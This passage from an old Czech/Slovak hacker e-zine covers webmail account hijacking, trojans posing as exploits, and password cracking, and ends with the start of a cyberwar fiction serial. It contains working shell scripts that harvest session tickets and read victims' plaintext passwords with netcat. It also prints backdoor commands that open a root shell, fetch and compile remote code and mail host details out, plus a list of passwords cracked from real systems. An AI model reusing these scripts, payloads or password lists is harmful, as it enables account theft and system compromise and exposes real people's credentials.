    webmaily da delat... muzete si to vyzkouset i na jinejch serverech. btw post.cz
    a post.sk bylo derave minimalne 1 rok, odchytil jsem tim stovky hesel a uzil
    jsem si srandy kopec :)


    ted si vysvetlime, jak to fungovalo. k overeni platnosti uzivatele se
    pouzival retezec nejakych znaku uvedeny v URL, takzvany ticket. v praxi se
    tenhle ticket casto generuje z udaju o klientu pri prihlaseni, treba se
    vezme adresa, username a cas a cele se to zasifruje md5sumem. kdyz se
    prihlasite ke svemu uctu, vidite, ze adresa serveru je slozena z vic casti,
    treba:
    http://www.post.cz/login.asp?id=45cf33ac1a2a65df. hodnota promenne id
    je prave ten autentifikacni ticket o ktery nam jde a ktery obsahuje
    zasifrovane udaje o uzivateli. protoze post a podobne servery nekontrolovaly
    soucasne pouziti jednoho ticketu z vice adres, staci ziskat obsah ticketu a
    muzeme se vesele prihlasit jako nekdo jiny.


    jak ovsem ziskat cizi ticket? velice jednoduse: pokud se trochu vyznate v
    http protokolu, vite urcite, ze adresa predchozi stranky se odesila na
    server v promenne HTTP_REFERER. webmastri diky tomu vidi odkud prichazeji
    navstevnici jejich stranek. a proc to trochu nezneuzit? uzivateli, jehoz
    heslo chcete zjistit, poslete do schranky html kod s obrazkem z vaseho
    serveru. az se na nej podiva, obrazek se natahne a uzivateluv browser vam na
    oplatku posle predchozi adresu - prave to
    http://www.post.cz/neco?id=ticket. ale pozor, je zde jeste jeden
    zadrhel. cizi ticket, ktery se prave zapsal do vasich logu, se da pouzit jen
    po omezenou dobu, napriklad 15 minut - po x minutach neaktivity je uzivatel z
    bezpecnostnich duvodu odhlasen a ticket je neplatny. takze musime pospichat.


    opet nas z problemu vytahne nas genialni unix, kde jdou s pomoci
    skriptovacich jazyku delat kouzla. napiseme si skript, ktery bude sam hlidat
    logy a pokud tam najde novy ticket, sam se okamzite prihlasi a tim obejde
    bezpecnostni lhutu. cele to mame jeste ulehcene naprostou stupiditou systemu
    zmeny hesla u serveru post.cz a post.sk - ani nepotrebujete znat predchozi
    heslo, a navic je stare heslo napsano v plaintextu v html kodu stranky s
    nastavenim. takze nas skript nepotrebuje nic jineho, nez se prihlasit na
    dane konto, jit na stranku s nastavenim a precist si tam heslo.


    a zde jsou programy na odposlech hesel z post.cz a post.sk, verim, ze pro
    ostatni derave servery byste je dokazali upravit sami (opakuju, ze to nema
    cenu, chyby jsou uz opraveny!):



    $ cat gettickets
    #!/bin/sh

    if [ ! -f log ]; then
    touch log.old
    else
    mv -f log log.old
    fi

    cat /var/log/httpd/access_log
    | grep "post.cz/mview.asp"
    | awk -F"?id=" '{print $2}'
    | awk -F"&" '{print $1}'
    | awk -F""" '{print $1}'
    > log

    for ticket in `diff -u log.old log | grep "^+" | grep -v "+++" |
    awk -F"+" '{print $2}'`; do
    ./getpassword $ticket | grep -v "unknown" >> post.log
    done



    $ cat getpassword
    #!/bin/sh

    netcat="/usr/bin/nc"
    timeout=20

    if [ ! $1 ]; then
    echo "Pouziti: $0 "
    exit 1
    fi

    log=".tmp.${RANDOM}"
    trap "rm -f $log" 0 9 15

    (
    echo "GET /uprefs.asp?id=${1} HTTP/1.1"
    echo "Host: www.post.cz"
    echo "Connection: close"
    echo
    )
    | $netcat -w $timeout www.post.cz 80 > $log

    login=`cat $log | grep -iE ">.*@post.cz" '{print $3}'`
    heslo=`cat $log | grep -iE "input.*name=overeni.*value=" |
    awk -F "VALUE="" '{print $2}' | awk -F" '{print $1}'`

    if [ -z "$login" ]; then
    login="unknown"
    fi

    if [ -z "$heslo" ]; then
    heslo="unknown"
    fi

    echo "$login:$heslo"


    program gettickets se dal do crontabu na kazdou minutu. sve obeti jste
    poslal mail s obrazkem ze sveho serveru. nejpozdeji jednu minutu pote, co si
    obet mail precetla, jste meli jeji jmeno a heslo v souboru post.log.



    newroot, newroot(at)hysteria.sk


    navrat na obsah





    trojske kone v exploitoch



    uz v minulosti, i ked sporadicky, sa zacali objavovat v roznych konferenciach
    zameranych na bezpecnost trojske kone, ktore sa maskuju za exploity napr. na
    rozne rozsirene sietove daemony ako sshd, apache/httpd a podobne. v poslednej
    dobe sa s podobnymi zalezitostami akoby roztrhlo vrece. takyto trojsky kon nie
    je prilis zlozite napisat, i ked tie, ktore sa mi dostali do ruk boli roznej
    kvality. najdolezitejsie je, aby sa rozsirili medzi co najvacsi pocet nic
    netusiacich uzivatelov. je v tom aj cosi social engineeringu. dostat podobny
    trojan do obehu si vyzaduje trochu zrucnosti a hlavne stastia. idealnym sposobom
    su napriklad posty do konferencii alebo vytvorenie webstranky s "exploitmi".
    aby si autor zabezpecil, ze obet mo naozaj poskytne idealne prostredie, obvykle
    byva podmienkou spustat program s pravami administratora. samotny trik spociva
    v tom, ze shellcode obsahuje seriu prikazov, ktore vytvoria jednoduchy backdoor
    a daju vediet autorovi a i ked to na prvy pohlad vyzera, ze sa shellcode posiela
    kamsi na cielovy host, vykona sa na lokalnej masine. zbytok programu plni len
    maskovaciu ulohu, odvadza pozornost. a kdesi cosi medzi spletou kopirovania
    bufferov, ktore sa aj tak vobec nevyuziju, testovanim moznosti vytvorenia
    sietoveho spojenia a ineho balastu okolo, vylezie z utrob nasho dreveneho konika
    nebezpecne ozbrene vojsko.


    shellcody mozu vyzerat napriklad takto:


    (shellcode_1):


    cp /etc/inetd.conf /tmp/;(cat /etc/inetd.conf;echo "31337 stream tcp nowait
    root /bin/bash bash -i")>/etc/inetd.conf;killall -HUP inetd;mv /tmp/inetd.conf
    /etc/;echo "`whoami`@`hostname -i`"| mail on@niekde.tam.sk

    (shellcode_2):

    `which lynx` -dump niekde.sk/backdoor.c>/tmp/backdoor.c;gcc -o /tmp/backdoor
    /tmp/backdoor.c;/tmp/backdoor;rm -f /tmp/backdoor*;echo "`whoami`@`hostname -i"|
    mail on@niekde.tam.sk

    pripadne preco si hned neposlat aj /etc/passwd a /etc/shadow? fantazii sa medze
    nekladu. videl som aj jeden dost stupidny a nie prilis dobre napisany trojan. v
    jeho shellcode sa nachadzalo toto:


    (shellcode_3):


    echo>>/etc/profile;cc -o httpd httpd.c;rm httpd.c;mv httpd /dev/;/dev/httpd;
    echo /dev/httpd>>/etc/profile;cat /etc/hosts | mail niekto@niekde.cz

    pricom httpd.c si generoval pri spusteni trojskeho kona. prilis viditelne a dost
    neefektivne. rad by som vedel, ako by sa tvaril, keby v /etc/hosts bol zapisany
    iba localhost ako to byva po default instalacii. :)) velmi nedostacujuce na
    jednoznacnu identifikaciu hosta. hostname -i je vhodna nahrada.


    aby seria prikazov nebola napadna a zaroven sa podobala typickym shellcodom
    znamym z roznych exploitov, konvertuje sa do hexadecimalneho tvaru. pri spusteni
    su znaky interpretovane korektne. tuto konverziu je mozne docielit jednoduchym
    programom v jazyku c:


    h_length);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sck < 0) {
    printf("Error: Can't open socket.n");
    exit(1);
    }

    if (connect(sck, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    printf("Error: Connection refused.n");
    }

    printf("Status: Connecting to %s.n", argv[1]);
    printf("Press any key to send shellcode or ctrl-c to abort.n");

    if (fork() == 0)
    execl("/bin/sh", "sh", "-c", shellcode, 0);while(1);
    }


    0000010100000001000001020061730200619270
    pajkus
     pajkus      03.03.2004 - 13:40:34 , level: 1, UP   NEW





    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #13, 09.12.99 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





    obsah
     



    intro

    teoria a prax hladania passwordov

    velka kyberneticka vojna roku 2002
    [i]


    process table attack

    echelon, globalny monitorovaci system

    generator nahodnych cisiel








    intro


    po dlhsom case sa vam opat hlasime z nasho studia v mlynskej doline. stale
    dlhsie a dlhsie prestavky medzi nasimi relaciami sa uz zdaju byt samozrejmostou.
    budeme sa s tym snazit nieco urobit.


    hlavnym chodom dnesneho menu je zaujimavy clanocek o crackovani passwordov,
    podlozeny vycerpavajucimi statistikami. mame tu pre vas prvu cast zo slubeneho
    uryvku z knizky velka kyberneticka vojna roku 2002. kratky popis denial of
    service utoku na tabulku procesov. big brother is still watching us, echelon,
    globalna monitorovacia siet krajin skupiny UKUSA. a na zaver mensia mystifikacia
    o tajomstvach ludskeho mozgu.


    salo, 09.12.99 zilina




    teoria a prax hladania passwordov



    pouzitie autorizacie si vyzaduje autorizacny kluc. pokial kluc nema byt viazany
    na hmotny nosic alebo biometricky system, vznika subjektivny problem
    zapamatatelnosti. kazdy sa samozrejme stretol s generovanymi heslami, ktore si
    musel zapisat alebo sa ich nadrislit. pokial vsak subjekt ma moznost volby,
    postupuje celkom inym sposobom.


    brute force (BF) kontra wordlist pri DES, MD5, SS, LM, ZIP, RAR, ARJ, AIN a mnohych inych...


    ak vezmeme do uvahy pocet znakov, ktore nam bezne poskytuje pocitac (96 variant)
    potom pri 8 znakoch (co je priemerna dlzka slova), moze vzniknut 7 213 895 700 000 000
    kombinacii. na ich prekombinovanie BF v uspokojivom case by nestacil ani
    najrychlejsi stroj. preto ma to viedlo k zamysleniu sa nad problematikou a
    niekolkym experimentom.


    ako sme uz pisali, zakladnym predpokladom je zapamatatelnost hesla. heslo je
    zrkadlom stavu jedinca v danom okamihu. co na to statistika? ludia, pokial nie
    je obmedzeny generatorom, si volia autorizacny kluc priblizne podla naslednej
    statistiky.




    dalsou uzitocnostou, ktoru je mozne vyuzit, je frekvencny vyskyt znakov v danom
    jazyku. ak podla neho zoradimne wordlist alebo nastavime BF, zvysujeme
    pravdepodobnost a skracujeme cas vyhladavnaia.


    percentualny vyskyt znakov


    kombinacia znakov percento priklad
    vsetky male 63.4 % kether, rnavat, iloveusa
    vsetky velke 0.6 % DOMINO, FULCRUM, MOZART
    vsetky cisla 7.8 % 180372, 01158220, 3.141592
    vsetky specialne 0.0 %
    prve velke, ostatne male 9.3% Alecra, Banesto, London
    prve male, ostatne velke 0.1 % pETER, kOSICE
    prve cislo, ostatne male 1.0 % 1penis, 1stein, 3tristar
    prve cislo, ostatne velke 0.0 %
    prvy specialny, ostatne male 0.0 %
    prvy specialny, ostatne velke 0.0 %
    prvy specialny, ostatne cisla 0.0 %
    ine 17.8 % %erF&el, indigo2, 123!@#, /.,mnb, AnDrea


    dalsou uzitocnostou, ktoru je mozne vyuzit, je frekvencny vyskyt znakov v danom jazyku. ak podla neho zoradimne wordlist alebo nastavime BF, zvysujeme pravdepodobnost a skracujeme cas vyhladavnaia.



    percentualny vyskyt znakov




    znak zname hesla slova/jazyk
    a 9.68% 7.60%
    e 5.15% 9.50%
    i 5.10% 6.66%
    r 4.73% 5.42%
    o 4.64% 5.26%
    n 3.91% 5.87%
    s 3.65% 5.44%
    t 3.43% 5.16%
    l 3.25% 3.81%
    k 3.09% 2.14%
    1 2.62% 0.06%
    m 2.36% 2.51%
    c 2.28% 2.61%
    d 2.02% 2.43%
    u 1.91% 3.29%
    p 1.62% 2.05%
    b 1.55% 1.43%
    h 1.30% 1.99%
    v 1.25% 1.46%
    g 1.15% 1.84%
    2 1.14% 0.02%
    3 0.89% 0.01%
    7 0.88% 0.01%
    f 0.80% 0.96%
    y 0.79% 1.10%
    0 0.78% 0.01%
    6 0.67% 0.01%
    z 0.67% 0.88%
    5 0.63% 0.01%
    9 0.63% 0.01%
    j 0.60% 0.71%
    4 0.57% 0.01%
    8 0.37% 0.01%
    M 0.30% no test
    w 0.25% 0.68%
    x 0.17% 0.20%
    S 0.15% no test
    L 0.14% no test
    A 0.13% no test
    B 0.11% no test
    D 0.11% no test
    O 0.11% no test
    C 0.09% no test
    I 0.09% no test
    P 0.09% no test
    T 0.08% no test
    G 0.07% no test
    K 0.07% no test
    R 0.07% no test
    Z 0.07% no test
    E 0.06% no test
    V 0.06% no test
    . 0.05% 0.01%
    @ 0.05% no test
    F 0.05% no test
    U 0.05% no test
    q 0.05% 0.24%
    N 0.04% no test
    0.02% 0.11%
    ! 0.02% 0.00%
    & 0.02% 0.03%
    H 0.02% no test
    * 0.01% 0.00%
    , 0.01% 0.25%
    - 0.01% 0.31%
    / 0.01% 0.06%
    = 0.01% 0.00%
    J 0.01% no test
    ` 0.00% 0.07%
    _ 0.00% 0.02%
    ˙ 0.00% 0.02%
    | 0.00% 0.02%
    " 0.00% 0.01%
    ^ 0.00% 0.01%
    { 0.00% 0.01%
    0.00% 0.01%
    ? 0.00% 0.01%
    } 0.00% 0.01%


    povsimnite si nesulad medzi vyskytom v jazykoch (wordfile) a v znamych heslach.


    teorie bolo dost. a co prax? z grafov sa nenajeme...

    takze tabulka ucinnosti metod z mojej praxe.




    metoda
    pociatocny stav
    pocet soli
    najdene
    percento
    cas


    single

    2894

    1258

    214

    7.39%

    15 minut


    vsetky 1 znakove

    2641

    1200

    0

    0.00%

    1 minuta


    vsetky 2 znakove

    2641

    1200

    2

    0.08%

    3 minuty


    vsetky 3 znakove

    2639

    1198

    1

    0.04%

    0.5 hodiny


    datumy a cisla

    2638

    1197

    190

    7.20%

    5 hodin


    slovnik

    2448

    1194

    216

    8.82%

    30 dni


    celkovo

    2894

    1258

    623

    21.53%




    z toho vyplyva aj nasledovny postup. je navrhovany na rychle rozbitie bezneho
    passwordu (do 7 dni-periodicke zmeny) pri dostatocnom procesorovom case.
    zachytene, zotriedene udaje analyzujem podla krokov.


    prvy komputer - brute force





    sposob
    odhad ukoncenia
    pocet pokusov


    single




    1 miestne
    3 sekundy
    95


    2 miestne
    4 minuty
    9.025


    3 miestne
    1 hodina
    857.375


    4 miestne
    20 dni
    81.450.625


    5 az 8 ciferne cisla
    5 dni







    druhy komputer - slovnik (1200 pravidiel, velkost 48 MB)





    zakladne pravidla
    odhad ukoncenia - 48 hodin





    sposob
    priklad


    bez pravidiel, vsetky male
    abcdefgh


    prve velke, ostatne male
    Abcdefgh


    posledne velke, ostatne male
    abcdefgH


    vsetky velke
    ABCDEFGH


    odzadu
    hgfedcba


    odzadu, posledne velke
    hgfedcbA


    odzadu, prve velke
    Hgfedcba


    potom nasleduje pridavanie pred, za a zameny...



    treti komputer - brute force, 4 az 8 miestne, vsetky male


    stvrty komputer - brute force, 4 az 8 miestne, vsetky


    takze to spustim a idem na kafe. samzrejme, nie je to take jednoduche. a co ak
    heslo nenajdem a neviem o jedincovi skoro nic? (pouziva pocitac, tvari sa ze
    tomu rozumie, ma pravdepodobne babu a podobne somariny). slovniky zaryto mlcia
    a ja si pisem substitucne pravidla.



    Substitucne pravidla




    Str

    Zamienanie

    Str

    Komentar


    1

    ->

    !

    Shift 1


    2

    ->

    @

    Shift 2


    3

    ->

    #

    Shift 3


    4

    ->

    $

    Shift 4


    5

    ->

    %

    Shift 5


    6

    ->

    ^

    Shift 6


    7

    ->

    &

    Shift 7


    8

    ->

    *

    Shift 8


    9

    ->

    (

    Shift 9


    0

    ->

    )

    Shift 0


    tu

    ->

    2

    English eqv.


    for

    ->

    4

    English eqv.


    per

    ->

    %

    Slovak eqv.


    pet

    ->

    %

    Ani srnka netusi


    an

    ->

    &

    English eqv.


    and

    ->

    &

    English eqv.


    5

    ->

    pet

    Slovak eqv.


    1



    ein

    English eqv.


    1



    ain

    English eqv.


    3



    tri

    Slovak eqv.


    l



    1

    Podobnost


    s



    $

    Podobnost


    S



    $

    Podobnost


    p

    ->

    %

    1. pismeno


    l

    ->

    !

    Podobnost


    o



    0

    Podobnost


    O



    0

    Podobnost


    100



    sto

    Slovak eqv.


    2

    ->

    du

    Nejaky eqv.



    ak si myslite, ze tu pisem blbosti, skuste si stiahnut nejaky passwd alebo
    kryptovany subor a najst pass... zatial je moja ucinost viac ako 50%..

    a co vasa ?


    na zaver vam zelam uspesny lov a uvadzam zopar prikladov hesiel ktore som
    crackol:


    cisla a datumy


    01158220, 020177, 031259, 050877, 102036, 102349, 14313995, 14512212, 150177,
    151215, 160177, 170975, 18.5.198, 18031912, 18636943, 191993, 196713, 19681968,
    200677, 20111971, 210911, 211044, 21121969, 220530, 2221333, 222684, 231058,
    234567, 250747, 291052, 3.141592, 31051978, 310576, 310770, 31101976, 3141514,
    315341, 318126, 318197, 321233, 322539, 362751, 39103957, 414461, 419576, 444759,
    481954, 506015, 512512, 514115, 563256, 566386, 611960, 654321, 673196, 678212,
    69061375, 700802, 703586, 7137121, 714516, 731102, 740312, 74050751, 74062182,
    74100671, 741220, 766030, 766117, 77011683, 770118, 77581677, 780313, 788020,
    800811, 814898, 81961595, 934076, 946284, 956140


    nieco pred ...


    1honolul, 1ivana, 1patty, 1penis, 1washbur, 2country, 2korytna, 3popolni,
    3tristar, 5kotab, 5monca, 9felicia, 9kamal, 9silvia, 8friday, 7sedem, 123kid,
    123mir


    ... a nieco za


    Andy20, Avignon1, Cubase3, Danka1, Ebdon8, Fatty1, Hack1, Iness7, Inferno6,
    Lubica1, Masters!, Masters1, Medved1, Michael, Minko20, Nemecko1, Otvorit1,
    Resolut8, Seattle1, Slavo8, Trebor1, Vierka1, Voyager!, adino1, advance0,
    akire7, alena1, amerika2, andover7, andy20, andy21, aniko1, anna1, archie4,
    aruhsu1, asad31, atmel1, audia3, avokceh1, avoslap1, banany1, bandler7,
    beata22, beatle., beavis3, birne4, bologna9, brezno1, brucele1, canaria1,
    char10, chesed7, dagmar1, dallas1, diane13, divadlo8, dolly1, drago3, drakula1,
    dusan1, fighter2, florum1, ga1996, galat3, genet0, germen8, harley1, helena&,
    honda0, iastate., inalfa99, ivan12, ivelat, iveta1, jana20, john77, jony11,
    josko1, jozefb, kata96, kinga1, kisf96, klokan1, kobyla2, kozar1, lacika2,
    laob75, lattice1, lenka1, levo11, live97, lubica3, lucia1, lucia12, macko22,
    maco28, magor1, mama11, marek20, maria1, mario1, martin33, martin7, martin@,
    mathiol, matko1, matko3, mb223c, mb6042, mechani1, megalop2, melon1, mercur7,
    mike14, milan11, milano7, milis12, miriama1, mukell, nirvana7, okolo., pas210,
    patty12, paul35, pe1973, pel111, peter11, philips1, pneus3, pol123, polpol,
    popik0, potopa2, radko12, radovan1, rebe23, robert1, rodina3, romania1,
    safari1, sakkara2, saraz23, sarik1, science1, stomata1, strom1, stud01, sumec1,
    sun123, superc64, talento3, tiborko1, trieda1, univers1, unloved2, vat20,
    vrana1, xenia1, zuzana1, zuzina6, kiss11, tompet21, bea13


    preco nie aj pred aj za?


    2martin@, @kabat@


    hry s klavesnicou a abecedou


    123456, 123abc, 1q2w3e, 1qw23e, /., mnb, 123b4a, a1b1c1, a1b2c3, a3b2c1,
    abc123, m1m2m3, qwerty, qwertyu


    mena a slova (prve velke alebo male)


    Alecra, Alferi, Anax, Andrea, Arcino, Bacher, Banesto, Basket, Borovan, Branko,
    Budapest, Butler, Canberra, Chrobaky, Corado, Cracres, Dagmar, Daniela, Dodika,
    Dolores, Dulius, Dvojca, Encore, Erika, Erikap, Farnesin, Fedor, Ferino, Gabika,
    Ganymed, Giacomo, Goodtime, Heureka, Hovado, Ildiko, Ingrid, Inovecka, Ivanaa,
    Jazzmusi, Kacena, Karate, Kocian, London, Lubica, Lubomira, Lunica, Lydmar,
    Magician, Majuska, Maniac, Mariap, Marosko, Martin, Martina, Martinko, Matejko,
    jozefgar, xxxxxx

    uz by aj stacilo...


    zaklady substutucie


    3logia, 1stein


    substitucie, stredna skola


    Boro2r, Ivo01, arp1ka, black$, peter1@


    tvarime sa rafinovane


    15StraNa, AnDrea, BrAnKo, DOMINO, FULCRUM, , GEnius, GandalF, LACO59, MLibiak,
    MOZART, ROMANKO, SEPULTUR, SIMLUJ, SiSa97, ZAKOVIC, accus712, bak754, banska s,
    bar123, baraCuda, c16sys, bure96, d1u2s3, di12392, ko1911, front242, hs2751,
    lk1964, maria-an, mata1992, ncc1701, pico1310, pk3112, pl2351, sps2li, ssss14,
    st1941, az1522, gb9999, ks1111, AREXAM, 333sl, ROMPPS1, abcd012


    rafinovanost skryta v nenapadnosti



    dlmmp&95 - prve inicialy mien a rok
    %erF&el - Peter Fandel
    m2mk7t - skutocne neviem, co by to mohlo byt :(


    k napisaniu prispeli: moja manzelka - soc.inzinierstvo, PLC - sprava
    a ochrana systemov, Last Caller - komunikacny expert (elektronicke kluce)
    ...a vsetci ktori mi zabezpecili pristup ku kryptovanym udajom


    dakujem: rychlym 2 a 4 CPU serverom za rychlu desifraciu, spravcom za
    slabu ochranu systemov a bohu za to, ze tu mozem o tom vsetkom spekulovat.


    p.s. najvacsie tajomstvo na svete je, ze neexistuje ziadne tajomstvo.
    a nezabudnite heslo je *******, :)


    O.M.D.G.


    pouzite zdroje: psychologia a ine aspekty passwordov V.1.0 a V.2.0,
    LED 2.x


    navrat na obsah



    velka kyberneticka vojna roku 2002
    [i]



    v tomto pribehu, bude liddy doleova celit najvacsej krize jej obdobia v
    urade prezidenta: prvej globalnej kybernetickej vojne, kde nepriatel je
    neviditelny, bitky virtualne ale straty na zivotoch az prilis
    realne.



    10. jul 2002, 12:04 pdt



    tentokrat je to naozaj. velka kyberneticka vojna sa zacala. som si tym
    isty. rozhodol som sa zaznamenat vsetko, co sa udeje, pretoze som
    presvedceny, ze jeden z mnohych scenarov, ktore som v poslednom obdobi
    analyzoval, sa zacina uskutocnovat. pred dvoma dnami bola jedna sprava
    anonymne a s velkou sikovnostou zverejnena na niekolkych komercnych
    web-strankach.




    .--------------------------------------------------------------------------.
    | _____ _____ __ __ |
    | | _ | | ___| | | | | |
    | | ___| | ___| | |/| | |
    | |__| |__| __/__/ |
    | |
    | LUDIA ZA SLOBODNY SVET |
    | (PEOPLE FOR A FREE WORLD) |
    | |
    | S L O B O D A |
    | |
    | davame tymto na znamost, ze my, ludia za slobodny svet, uz nebudeme |
    | dlhsie tolerovat nastolenie americkej hegemonie. odo dneska budeme |
    | bojovat proti vojenskemu, ekonomickemu a kulturnemu imperializmu |
    | spojenych statov americkych vsetkymi moznymi sposobmi a prostriedkami. |
    | |
    | kedze americke ozbrojene sily okupuju mnoho krajin a kontroluju |
    | komunikacne a dopravne tepny na celom svete, podujimame sa na |
    | oslobodenie tych, ktori su okupovani, a znovu obnovime slobodu |
    | medzinarodneho hnutia. |
    | |
    | preto teraz davame spojenym statom sest dni, aby zavreli svoje |
    | vojenske zakladne mimo uzemia spojenych statov, inak narusime hlavne |
    | clanky americkej infrastruktury. disponujeme silou a inteligenciou na |
    | splnenie nasich hrozieb. pre bezpecnost vasich deti a pre slobodu |
    | vsetkych ludi, neignorujte tuto vyzvu. |
    | |
    | L U D I A Z A S L O B O D N Y S V E T |
    | |
    | -----BEGIN PGP SIGNATURE----- |
    | IQA/AwUBNHMJOBuDJQtcRR9AEQJn+QCfX |
    | 8ORuFXpbFd9RmOjsdgT3Yrl Cn4AolIA |
    | RoGC+I2hYdh7rE/DDp6FX3GC=IMsD |
    | -----END PGP SIGNATURE----- |
    | |
    `--------------------------------------------------------------------------'



    toto vyhlasenie sa objavilo na uvodnej stranke cnn o 8:30 v pondelok
    rano. veduci webmaster cnn o hodinu neskor vyhlasil, ze to nebola
    oficialna sprava cnn a podla ich zaznamov ani nikto z vnutra spolocnosti
    ju nemohol zverejnit. v priebehu niekolkych sekund od zverejnenia na
    strankach cnn sa sprava objavila aj na dalsich strankach s vysokou
    navstevnostou, ako su usa today, the guardian, espn sportszone,
    disney.com, a africa online.


    vyzera to na velky hackersky zatah, a aj nim je. ale od chvile, ako som
    cital to vyhlasenie a videl niekolko titulkov, ktore sa z neho zverejnili,
    citil som, ze to nie je len zart.


    cely pondelok sa computer-security specialisti snazia zrekonstruovat
    priebeh hacku. nikto ho neberie vazne. stary mazaci on-line bezpecnosti
    sa zamerali na technicke aspekty, rozsiahlost a simultannost utoku.
    webmasteri boli zahanbeni a priznali, ze nemaju ponatia, ako niekto
    zvladol takyto siroky zatah. ako je mozne umiestnit spravu na uvodnu
    stranku a nezanechat po tom ani stopu? dostalo sa to dokonca do vecernych
    sprav a bola o tom zmienka v rannych novinach.


    ale v utorok sa to uz vyparilo z tv sprav. zacal som hladat vsetky logy a
    data ktore sa dali ziskat - zvacsa vcera zverejnene na docasnych
    strankach www.peoplefree.net, vcera spojazdnenych - a cim viac som ich
    cital, tym viac som zacinal byt ustarosteny. trapim sa nad neurcitymi a
    neuplnymi povodmi titulkov a aj obsahu deklaracie.


    neskor rano prezidentka vydala tlacove vyhlasenie, ktore som si precital
    na msnbc. a to ma uplne dorazilo. povedala, ze sprava "ulozena" na cnn a
    dalsich spravodajskych web strankach je zrejme nafuknuta bublina a je
    typickym hackerskym zartom a nie je sa cim trapit, bla, bla, bla. vsetko
    je pod kontrolou. tiez povedala, ze "nasa krajina ma najlepsiu
    monitorovaciu infraskturu a je pripravena chranit kriticke systemy celej
    krajiny tak, ze budu vzdy v bezpecnom stave."



    toto ma trapi najviac, pretoze viem, co to znamena - aktivuju tu staru
    haraburdu z clintonovej ery, minimalnu nevyhnutnu informacnu
    infrastrukturu (mnii). ha! to je kydanie konskej sracky. to nemoze
    ubranit ani zavareny kontajner. vravel som im to snad stovky krat, zrejme
    preto ma prepustili.


    vcera sa mi podarilo zohnat dvoch z mojich najlepsich studentov namornej
    postgradualnej skoly odtialto z monterey, aby mi pomohli spracovat
    cokolvek, co mozeme zistit o tomto pripade. rozhodli sme sa oznacit sa za
    team odpudzovacov crackov. ivar a connie si myslia, ze to je velmi
    poucne. ja sa vsak domnievam, ze si mozeme este narobit vela
    neprijemnosti.


    ale nemame ziadne pravomoci. nepomoze, ked telefonujete z namornej
    postgradualnej skoly a pytate sa niekoho na citlive informacie.
    "namorna... coo?" pytaju sa, "volate z nejakej lode?"



    connie bola uzasna. nakopla si svoje cd s living death a za 24 hodin
    zhromazdila riadnu horu dat. ivars kontaktoval majitelov haknutych
    stranok, aby zhromazdil log subory a vsetok zvysny sajrajt, co z nich
    mohol vydolovat. objavil tiez niekolko news skupin, kde bola deklaracia
    taktiez zverejnena, a o ktorych sa doteraz nevedelo. ako sme ocakavali
    "ludia" pouzili niekolko anonymnych remailerov na zotretie stop na
    usenete, ale ivars poznamenal, ze sekvencia remailerov bola nezvycajna.


    11. jul, 10:07 pdt



    toto rano ziskala connie podvodom troska vypoctoveho casu na skolskom
    crayi. peterson mi nainstaloval poslednu verziu jazykoveho analyzatora.
    dlzim mu basu budweiserov. ivars prisiel rano po prebdenej noci a vravi,
    ze analyza smeruje k dvom zdrojom, nie jednemu, ale ani k tuctu. ani
    jedna zo sledovanych stranok sa o tomto nezmienila.


    spravodajske agentury venuju vyhlaseniu pfw menej casu ako pojebanemu
    pocasiu. vlna tepleho pocasia na zapade - to su teda spravy.


    ivars poznamenal, ze termin urceny ludmi je den dobytia bastilly. myslim,
    ze to znie zlovestne.


    rano som stravil vycerpavajucim telefonovanim s mojimi starymi znamymi
    (teda aspon s tymi, co sa so mnou este rozpravaju), z foggy bottom a zo
    spolocnosti. skutocne to vyzera tak, ze nemaju o nicom potuchy. potom mi
    vsak m. poslal obeznik so suhrnom informacii o pozadi veci. a podla mna
    sa to da dokopy poskladat a vychadza z toho riadny pruser.


    aktualne ohniska nestability



    1. na zaklade poziadaviek spojenych statov bude dalsie kolo rozsirovania
    nato v maji zahrnovat litvu, slovensko a rumunsko. napriek ostrym
    lebedovym protestom vedenie aliancie jednomyselne rozhodlo o zaradeni
    tychto krajin do obranneho zdruzenia do konca roku.


    2. taiwan vydal formalne vyhlasenie nezavislosti. cina ohlasila ze sa
    zmocni kontroly nad ostrovmi "vsetkymi dostupnymi prostriedkami". spojene
    staty neposkytli ziadne priame garancie bezpecnosti ale varovali cinu,
    ze by mala pokracovat "len mierovym sposobom riesenia konfliktu".


    3. niekolko dni neskor rusko a cina vstupili do kooperacie v zaujme
    zvysenia svojej bezpecnosti. cina investuje do rozvoja priemyslu v rusku,
    vymenou za vojensky material. (toto pentagon radostne privital, pretoze
    to moze viest k dalsim zavodom v zbrojeni a vyviest z rovnovahy ruskych
    komunistov, ktori prave prezivaju velky navrat).


    4. severna korea opat pokracuje v atomovom programe, porusila tak
    carterovu dohodu o odzbrojeni z roku 1994. spojene staty okamzite
    zastavili dodavky obilia, uvalili tazke ekonomicke sankcie na pchjong-jang
    a
    poslali dalsiu skupinu lietadlovych lodi do japonskeho mora.


    5. iran a irak rozsirili provizornu mierovu zmluvu z roku 1990 a vstupili
    do plne obranneho spolocneho paktu. (reakcia pentagonu bola rovnaka ako v
    bode 3, len od inych specialistov na globalne divadielko).


    rychlo si musime zohnat nejaky elektricky generator.


    12. jul, 08:11 pdt



    neskoro v noci, predtym nez som si siel lahnut, som cital prve spravy na
    inete spominajuce moznost vojny. ale boli zverejnene na alt.conspiracy.


    rano som skocil do zeleziarstva, schmatol som honda generator a tucet
    bandasiek. ivars ich prave naplna benzinom. taktiez mame baterky, nejake
    nadoby na vodu a zvycajne nudzove zasoby potravin z tesca. mam nielen
    maly radio prijimac ale aj ham radio a spektralny skener na slnecnu
    energiu. nasa izba vyzera ako kasarne nejakych bivakujucich typkov. citim
    sa fakt ako maniak.


    pokusil som sa dostat vreelanda k telefonu. jeho sekretarka ma schladila
    tonom typu "general vreeland ma pred vami varoval." nakoniec som hovoril
    s plukovnikom pritchettom. povedal mi "ano, situacia je povazliva, ale ak
    budeme reagovat prehnane... "
    prehnane! znova som mu povedal o ohrozeni
